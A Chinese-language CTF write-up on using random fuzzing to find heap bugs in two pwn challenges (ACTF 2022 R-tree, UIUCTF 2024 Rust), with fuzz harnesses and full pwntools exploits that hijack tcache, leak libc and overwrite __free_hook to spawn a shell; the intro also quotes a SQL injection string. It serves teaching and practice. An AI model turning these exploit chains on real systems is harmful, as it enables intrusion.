fuzzing?fuzzing!(ᗜᴗᗜ)

| 0 | 前言

如果你也遇到过:IDA反编译出来的数据结构充满了各种交叉引用与奇奇怪怪的数据结构,别说逆向分析了,就算是用gdb调试出来都是越看越晕✋别担心,fuzzing会帮你解决一切😇😇😇

| 1 | 原理

通过查询gpt,我们获得以下信息

Fuzzing，中文一般翻译为“模糊测试”，是一种自动化测试技术，主要用于发现程序中的漏洞和异常行为。它的核心思想就像是：

「嘿我往你的程序里灌各种奇怪、乱七八糟的输入，看看你会不会崩溃(*≧▽≦)ﾉｼ）」

比如你有个程序需要用户输入用户名，那Fuzzer就会试着输入：

  • 超长字符串（比如上万字节的“AAAAAAAA…”）
  • 特殊字符（比如 "; DROP TABLE users; -- ）
  • 随机的二进制数据
  • 不合规范的结构化数据（比如错误格式的PNG、PDF）

通过不断“瞎试”，来诱发程序中的各种bug，比如：

  • 崩溃（Crash）
  • 越界访问
  • Use-After-Free（UAF）
  • 内存泄露
  • 未处理的异常

当我们完全看不懂数据结构的内部逻辑时,我们可以通过灌入大量数据,通过python捕捉uaf,overflow等错误,以此我们可以找到达成漏洞利用的具体手段,作为一个模块用来稳定获得一个漏洞,再在这个漏洞上不断利用,最后getshell

| 2 | ACTF–让我们解开R树的秘密

题目链接: actf 2022

注: 本题的libc版本为2.27

2.1 几乎没有意义的逆向分析

我们使用IDA打开elf文件后,可以看到这是个完整的菜单题

1751101646406

往左边的函数栏一瞟,被吓了一跳:每个操作函数函数(insert,delet,edit,show和query)都由大量子函数进行数据结构的维护

这导致如果我们从IDA分析,逆向难度会非常大,通过题目名字和几个维护函数我们也能猜出来本次管理堆块的数据结构是R树

那么R树是什么呢?

R树的介绍

R树（Rectangle-tree 或 Region-tree） 是一种**用来存储多维空间数据（比如矩形、坐标点、地理位置）**的数据结构。它就像是空间版本的 B 树，用于高效地执行：

  • 📍范围查询（range query）：找出所有在某个区域内的点或图形
  • 🧲邻近查询（nearest neighbor）：找出离你最近的对象
  • 📦插入、删除、更新空间对象

比起传统的哈希表或数组，R树在“处理空间位置”这种问题时简直不要太强！

R树是一种 高度平衡的树结构，跟 B 树有点像，但它的每个节点存的不是单个值，而是：

✅ 一个“最小包围矩形（MBR，Minimum Bounding Rectangle）”——用来包住子节点或实际对象。

举个栗子🌰：

  • 叶子节点存放：真实的矩形、点等空间对象
  • 非叶子节点存放：子节点的 MBR，代表这个子节点下所有数据的范围

使用css表示为

1
2
3
4
5
6
7
8
9
10
11
12
     ┌────────────┐
     │   MBR A    │
     └────┬───────┘
          ↓
   ┌───────────────┐
   │ MBR A1 │ MBR A2│
   └────┬────┴──────┘
        ↓
┌───────────────┐
│ obj1 obj2 ... │  （叶节点）
└───────────────┘

不知道你们看懂多少,反正我是一点没看懂

对大概操作的理解

虽然我们基本上不可能看懂R树,但可以简单逆向一下几个函数的功能

  1. add函数

    1751102252072
    通过输入x,y确定堆块的索引

    可以申请0x30的堆块,并以某种规则插上R树,可以且必须输入0x20的数据

  2. delet函数

    1751102338203

    通过x,y索引寻找堆块,然后对堆块进行释放,置零(我们没法简单double free)

  3. edit函数

    1751102451784

    通过x,y索引寻找堆块,编辑堆块,必须输入0x20的内容

  4. show函数

    1751102506395

    通过x,y索引寻找堆块,使用write函数打印堆块中的内容

  5. query函数

    1751102613824

    接收用户输入的矩形范围（左下角和右上角），然后在 R 树中查找所有在这个区域内的元素并输出它们的名字(这不是和show函数功能重合了吗🤔)

2.2开始fuzzing!

我们先在exp中模拟好这5个交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def cho(num):
    r.sendlineafter(b'> ',str(num).encode())
 
def add(x,y,name):
    print(f"add({x},{y})")
    cho(0)
    data=r.recv()
    if b"two many" in data:
        print(data)
        raise TooManyElementsError
    r.sendline(str(x).encode())
    r.sendlineafter(b"value: ",str(y).encode())
    r.sendafter(b"new element name: ",name.ljust(0x20,b'\x00'))
 
def delet(x,y):
    cho(1)
    r.sendlineafter(b"want element x-coordinate value: ",str(x).encode())
    r.sendlineafter(b"want element y-coordinate value: ",str(y).encode())
 
def edit(x,y,name):
    cho(2)
    r.sendlineafter(b"want element x-coordinate value: ",str(x).encode())
    r.sendlineafter(b"want element y-coordinate value: ",str(y).encode())
    r.sendafter(b"name: ",name.ljust(0x20,b'\x00'))
 
def show(x,y):
    cho(3)
    r.sendlineafter(b'value',str(x).encode())
    r.sendlineafter(b'value',str(y).encode())
 
def query(a,b,c,d):
    cho(4)
    r.sendlineafter(b"value: ",str(a).encode())
    r.sendlineafter(b"value: ",str(b).encode())
    r.sendlineafter(b"value: ",str(c).encode())
    r.sendlineafter(b"value: ",str(d).encode())

现在我们要开始请”猴子先生”开始随机敲击键盘😋

但是我们也不能真的随便瞎按,我使用了一下的约束保证fuzz不会太离谱

  • 只能释放已经建立的堆块
  • 堆块的索引不能重复
  • 将每次fuzz的结果放在一个txt中
  • 自定义一个EOF保证fuzz只有在double free时才会停止

我们可以使用以下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class TooManyElementsError(Exception): #如果树满了我们还没找到异常,就抛出这个
    pass
def fuzz():
    global f
    f=open('./log.txt','w') #记录我们fuzz的过程
    for i in range(0x1000):
        if(i%10==0):
            a = randint(0,8)
            b = randint(0,8)
            add(a,b,str(i).encode())
            data0=r.recvuntil(b'Choice Table')
            f.write('add({},{},str({}).encode())\n'.format(a,b,i))
        elif(i%2==0):
            a = randint(0,8)
            b = randint(0,8)
            delet(a,b)
            data0=r.recvline()
            if b'not exists' in data0: #只有释放存在堆块的操作才会被记录
                continue
            f.write('delet({},{})\n'.format(a,b))
while True:
    global f
    r=process('./pwn')
    try:
        fuzz()
    except TooManyElementsError: #如果没找到漏洞,我们要重投开始
        f.close()
        os.remove("./log.txt")   #清空记录
        r.close()
    except EOFError:             #找到了漏洞
        f.close()
        line_count = sum(1 for _ in open('log.txt', 'r', encoding='utf-8')) #查询有效命令的数量
        if line_count<20:        #我希望double free的堆风水的步骤简单一点
            print(f"{line_count}hang")
            print("down")
            break
        else:
            os.remove("./log.txt") #如果手法太复杂也要从头来  
            r.close()

运行这个脚本,不一会儿我们就能找到符合条件的利用过程(换成小于40行了,我发现小于20行半天爆破不出来)

1751103602912

总之我们此时获得了一个可以double free的手段

2.3 人脑代替电脑思考-堆利用

double free的劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(1,1,str(10).encode())
add(0,6,str(20).encode())
add(7,2,str(30).encode())
add(2,0,str(40).encode())
add(1,3,str(50).encode())
add(3,4,str(60).encode())
add(6,5,str(70).encode())
add(4,8,str(80).encode())
delet(0,6)
add(3,7,str(90).encode())
add(7,6,str(110).encode())
add(2,2,str(120).encode())
add(2,3,str(140).encode())
delet(2,3)
delet(2,2)
delet(1,3)
#delet(1,3)

这个过程可以让我们得到一个可以编辑且已经被释放的堆块(1,3)

此时我们可以泄露堆地址,然后任意地址写(既然只知道堆地址,也就是堆上任意地址写)

我们劫持什么呢🤔,首先我们先梳理一下目前我们的状态

  • 我们有一次任意地址写0x20字符,且必须写满0x20
  • 基于fuzz的堆风水已经让堆很乱了,再次堆风水创造一个double free对我而言基本上不可能

也就是我们这次劫持的地址必须能让我们拥有持续利用堆的能力

teache_struct

teachebins从libc2.26引入,用于管理较小堆块,其中负责管理的数据结构称为teache_struct

1
2
3
4
5
typedef struct tcache_perthread_struct {//TCACHE_MAX_BINS=0x40
  uint16_t/uint8_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

这个结构体由一个int8/int16数组和一个指针数组组成

其中

  • int8/int16数组负责记录每种teachebins的数量
  • 指针数组负责记录表头的next指针

回到堆利用,如果我们能劫持这个结构,就能实现任意地址写,而且本题的edit是不限次数的,也就是说我们想申请什么就申请什么

此时我们使用gdb观察劫持前的bins情况

1751104492262

这个是我们可以利用的double free chunk

由于每次申请的堆块太小了,我们想要劫持teache_struct需要分两次:number数组,指针数组

但是目前我们只能劫持一次,所以我们可以

  • 先劫持指针数组
  • 使用指针数组为我们分配一个number数组
  • 再劫持number数组,此时相当于控制了teache_struct
1
2
3
4
5
edit(1,3,p64(heap+0x10+0x48))
add(4,1)#
add(4,2)                    #control_ptr(4,2)
edit(4,2,p64(heap+0x10))
add(4,3,p8(5)*2)            #control_num(4,3)

保持(4,2)中不小于等于0,在(4,3)中写入想要劫持的地址

泄露libc

每次我们只能建立一个0x30的堆块,很明显放不进unsortbins🤔

但是我们可以任意堆地址写,我们人为把堆的head中的size改一下不就行了嘛😋

随便一找,找到几个总大小为0x220的堆块,且不直接接触top_chunk

修改后的堆如下

1751105035960

顺便在(4,2)中把0x220的teachebins数量改为7,这样就会直接进入unsortbins中了

1751105068490

成功让libc地址出现在heap中,最后让query在一个比较大的范围内打印,找找就能看到libc信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
head=heap+0x580
edit(4,2,p64(heap+0x30))
add(4,4,p8(7))
edit(4,2,p64(head-0x18))
add(5,5)
edit(4,2,p64(head))
add(4,5,p64(0)+p64(0x221))
edit(4,2,p64(head+0x10))
add(5,1)
delet(5,1)
query(0,0,6,6)
r.recvuntil(b"12-th name: \x00\x00\x00\x00\x00\x00\x00\x00!\x02\x00\x00\x00\x00\x00\x00")
base=u64(r.recv(8))-0x3ebca0
print(f"base=>{hex(base)}")

最后一步,劫持__free_hook

做到这里基本上就相当于打完了.有了堆,libc地址,可以任意分配堆块–我们从一个小小的uaf里挖掘出这么多的资产

1
2
3
4
5
6
fhook=base+libc.sym.__free_hook
system=base+libc.sym.system
edit(4,2,p64(fhook-8))
add(5,6,b"/bin/sh\x00"+p64(system))
delet(5,6)
r.interactive()

| 3 | EXP+fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
libc=ELF('./libc-2.27.so')
def cho(num):
    r.sendlineafter(b'> ',str(num).encode())

def add(x,y,name=b'\x00'):
    cho(0)
    data=r.recv()
    print(data)
    if b"two many" in data:
        raise EOFerror
    r.sendline(str(x).encode())
    r.sendlineafter(b"value: ",str(y).encode())
    r.sendafter(b"new element name: ",name.ljust(0x20,b'\x00'))

def delet(x,y):
    cho(1)
    r.sendlineafter(b"want element x-coordinate value: ",str(x).encode())
    r.sendlineafter(b"want element y-coordinate value: ",str(y).encode())

def edit(x,y,name):
    cho(2)
    r.sendlineafter(b"want element x-coordinate value: ",str(x).encode())
    r.sendlineafter(b"want element y-coordinate value: ",str(y).encode())
    r.sendafter(b"name: ",name.ljust(0x20,b'\x00'))

def show(x,y):
    cho(3)
    r.sendlineafter(b'value',str(x).encode())
    r.sendlineafter(b'value',str(y).encode())

def query(a,b,c,d):
    cho(4)
    r.sendlineafter(b"value: ",str(a).encode())
    r.sendlineafter(b"value: ",str(b).encode())
    r.sendlineafter(b"value: ",str(c).encode())
    r.sendlineafter(b"value: ",str(d).encode())
def bug():
    gdb.attach(r)
r=process('./pwn')
#r=remote("node5.anna.nssctf.cn",23868)
add(1,1,str(10).encode())
add(0,6,str(20).encode())
add(7,2,str(30).encode())
add(2,0,str(40).encode())
add(1,3,str(50).encode())
add(3,4,str(60).encode())
add(6,5,str(70).encode())
add(4,8,str(80).encode())
delet(0,6)
add(3,7,str(90).encode())
add(7,6,str(110).encode())
add(2,2,b"aaa")
add(2,3,b'a'*8)
delet(2,3)
delet(2,2)
delet(1,3)
#delet(1,3)

query(1,0,5,5)
r.recvuntil(b"2-th name: ")
heap=u64(r.recv(8))-0x5c0
print(f"heap=>{hex(heap)}")
head=heap+0x580
#===============================================================
edit(1,3,p64(heap+0x10+0x48))
add(4,1)#
add(4,2)                    #control_ptr(4,2)
edit(4,2,p64(heap+0x10))
add(4,3,p8(5)*2)            #control_num(4,3)
head=heap+0x580
edit(4,2,p64(heap+0x30))
add(4,4,p8(7))
#===============================================================
edit(4,2,p64(head-0x18))
add(5,5)
edit(4,2,p64(head))
add(4,5,p64(0)+p64(0x221))
edit(4,2,p64(head+0x10))
add(5,1)
delet(5,1)
bug()
query(0,0,6,6)
r.recvuntil(b"12-th name: \x00\x00\x00\x00\x00\x00\x00\x00!\x02\x00\x00\x00\x00\x00\x00")
base=u64(r.recv(8))-0x3ebca0
print(f"base=>{hex(base)}")
#===============================================================
fhook=base+libc.sym.__free_hook
system=base+libc.sym.system
edit(4,2,p64(fhook-8))
add(5,6,b"/bin/sh\x00"+p64(system))

delet(5,6)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
import os
#context.log_level='debug'

class TooManyElementsError(Exception):
    pass

def cho(num):
    r.sendlineafter(b'> ',str(num).encode())

def add(x,y,name):
    print(f"add({x},{y})")
    cho(0)
    data=r.recv()
    if b"two many" in data:
        print(data)
        raise TooManyElementsError
    r.sendline(str(x).encode())
    r.sendlineafter(b"value: ",str(y).encode())
    r.sendafter(b"new element name: ",name.ljust(0x20,b'\x00'))

def delet(x,y):
    print(f"free({x},{y})")
    cho(1)
    r.sendlineafter(b"want element x-coordinate value: ",str(x).encode())
    r.sendlineafter(b"want element y-coordinate value: ",str(y).encode())

def edit(x,y,name):
    cho(2)
    r.sendlineafter(b"want element x-coordinate value: ",str(x).encode())
    r.sendlineafter(b"want element y-coordinate value: ",str(y).encode())
    r.sendafter(b"name: ",name.ljust(0x20,b'\x00'))

def show(x,y):
    cho(3)
    r.sendlineafter(b'value',str(x).encode())
    r.sendlineafter(b'value',str(y).encode())

def query(a,b,c,d):
    cho(4)
    r.sendlineafter(b"value: ",str(a).encode())
    r.sendlineafter(b"value: ",str(b).encode())
    r.sendlineafter(b"value: ",str(c).encode())
    r.sendlineafter(b"value: ",str(d).encode())
i=0
def fuzz():
    global f
    f=open('./log.txt','w')
    for i in range(0x1000):
        if(i%10==0):
            a = randint(0,8)
            b = randint(0,8)
            add(a,b,str(i).encode())
            data0=r.recvuntil(b'Choice Table')
            f.write('add({},{},str({}).encode())\n'.format(a,b,i))
        elif(i%2==0):
            a = randint(0,8)
            b = randint(0,8)
            delet(a,b)
            data0=r.recvline()
            if b'not exists' in data0:
                continue
            f.write('delet({},{})\n'.format(a,b))
while True:
    global f
    r=process('./pwn')
    try:
        fuzz()
    except TooManyElementsError:
        f.close()
        os.remove("./log.txt")
        r.close()
    except EOFError:
        f.close()
        line_count = sum(1 for _ in open('log.txt', 'r', encoding='utf-8'))
        if line_count<40:
            print(f"{line_count}hang")
            print("down")
            break
        else:
            os.remove("./log.txt")
            r.close()
r.interactive()

| 3 | UIUCTF 2024RUST

这是一道rust编写的堆菜单,我看不懂rust,所以IDA也用不上了,对着gdb和shell盲打

create可以选择创建rules和notes两个不同的堆块

通过gdb调试发现,rule堆块在创建后立马被释放,而notes堆块会保存下来

delet,read,edit都要指清楚堆块的类型和编号

其中edit需要我们输入64字节数据

**Make a law **直接给了libc地址,libc为2.31

可能造成堆利用的步骤分别是create,delet和edit

那我们的fuzzer就要包含这三个操作,并添加简单的约束

  • 只能delet,edit已经创建的堆块
  • 时刻记录两种堆块分别的数量
  • 用尽量少的步骤(<=20),最后加上exit退出程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import random
import string
operations = ""

total_ops = random.randint(1, 20)#操作次数在1~19中随机
total_rules = 0
total_notes = 0

for i in range(total_ops):
    op = random.choice([1, 2, 4])#从create,edit,delet中随机选择
    if op == 1:
        operations += "1\n"
        choose = random.randint(1, 2)
        operations += str(choose) + "\n"
        if choose == 1:#两种不同的create会分别增加两种chunk的数量
            total_rules += 1
        elif choose == 2:
            total_notes += 1

    elif op == 2:
        operations += "2\n"
        choose1 = random.randint(1, 2)#随机释放堆块
        operations += str(choose1) + "\n"
        if choose1 == 1 and total_rules > 0 :
            choose2 = random.randint(0, total_rules-1)
            operations += str(choose2) + "\n"
            total_rules -= 1#注意减少py中chunk的数量,确保只释放已存在的堆块
        elif choose1 == 2 and total_notes > 0 :
            choose2 = random.randint(0, total_notes-1)
            operations += str(choose2) + "\n"
            total_notes -= 1
        else :
            operations = operations[:(len(operations)-4)]#如果chunk数量为0,那么去除此次操作
    elif op == 4:
        operations += "4\n"
        choose1 = random.randint(1, 2)
        operations += str(choose1) + "\n"
        characters = string.ascii_letters + string.digits
        random_string = ''.join(random.choice(characters) for _ in range(63))#向随机chunk中写入64字节随机数据
        if choose1 == 1 and total_rules > 0 :
            choose2 = random.randint(0, total_rules-1)
            operations += str(choose2) + "\n"
            operations += random_string + "\n"
            total_rules -= 1
        elif choose1 == 2 and total_notes > 0 :
            choose2 = random.randint(0, total_notes-1)
            operations += str(choose2) + "\n"
            operations += random_string + "\n"
            total_notes -= 1
        else :
            operations = operations[:(len(operations)-4)]#同理如果chunk数量为0则去除此次操作

print(operations + "6")#最后一定要退出

同时使用fuzz脚本运行

1
2
3
4
5
6
7
8
9
#!/bin/bash
while ((1))
do
    python3 ./test.py > poc#将test.py中的数据放入poc中(poc负责保存记录)
    cat poc | ./pwn#将poc中的数据喂给elf
    if [ $? -ne 0 ]; then#检测elf的返回值(如果不为0则发生异常,说明触发漏洞,此时退出)
        break
    fi
done

跑一会儿就出现异常退出,此时检查poc,可以看到具体的操作

进行简单包装后使用gdb调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ch(1)
ch(2)
ch(1)
ch(1)
ch(2)
ch(2)
ch(0)
ch(2)
ch(1)
ch(0)
ch(1)
ch(1)
ch(1)
ch(1)
ch(4)
ch(1)
ch(1)
io.send(b"P56DpQlpxKiRRzvnSNza6rP4vz2hJsgAWyagEGe9tyVNrqZdUO8S7Gg6KZRTzGL")
ch(4)
ch(1)
ch(0)
io.send(b"q7vM0fZpYeCUblwTVxszBf7i2r1EwHD52mCBauDL03Ico2eOPhwO2jUlmbUtO3H")

发现了很明显的uaf漏洞

我们掌握了libc地址,那就劫持**__free_hook**完事了

还需要把poc中的操作仔细看一遍,把chunk的编号标记清除

最终得到exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
io=process('./pwn')
libc=ELF('./libc-2.31.so')
def bug():
    gdb.attach(io)
def ch(Id):
    io.sendlineafter(b"> ",str(Id).encode())
def add(Id):
    ch(1)
    ch(Id)
ch(5)
base=int(io.recv(14),16)-0x1ecbe0
print(f"base=>{hex(base)}")
#====#   create note 0
ch(1)#
ch(2)#
#====#   create rule 0   
ch(1)#
ch(1)#
#====#   delet note 0
ch(2)#
ch(2)#
ch(0)#
#====#   delet rule 0
ch(2)#
ch(1)#
ch(0)#
#====#   create rule 0
ch(1)#
ch(1)#
#====#   create rule 1
ch(1)#
ch(1)#
#====#   edit rule 1   
ch(4)#
ch(1)#
ch(1)#
io.send(b"0")
#====#   edit rule 0
ch(4)#
ch(1)#
ch(0)#
fhook=base+libc.sym.__free_hook
system=base+libc.sym.system
io.send(p64(fhook-8))
#====# create note 0
ch(1)#
ch(2)#
#====# create note 1
ch(1)#
ch(2)#
#====# edit note 1
ch(4)#
ch(2)#
ch(1)#
io.send(b"/bin/sh".ljust(8,b'\x00')+p64(system))
print(hex(fhook))
#====#  delet note 1 == system("/bin/sh")
ch(2)#
ch(2)#
ch(1)#
io.interactive()

参考链接:

【ACTF2022】从Fuzz到XCTF赛题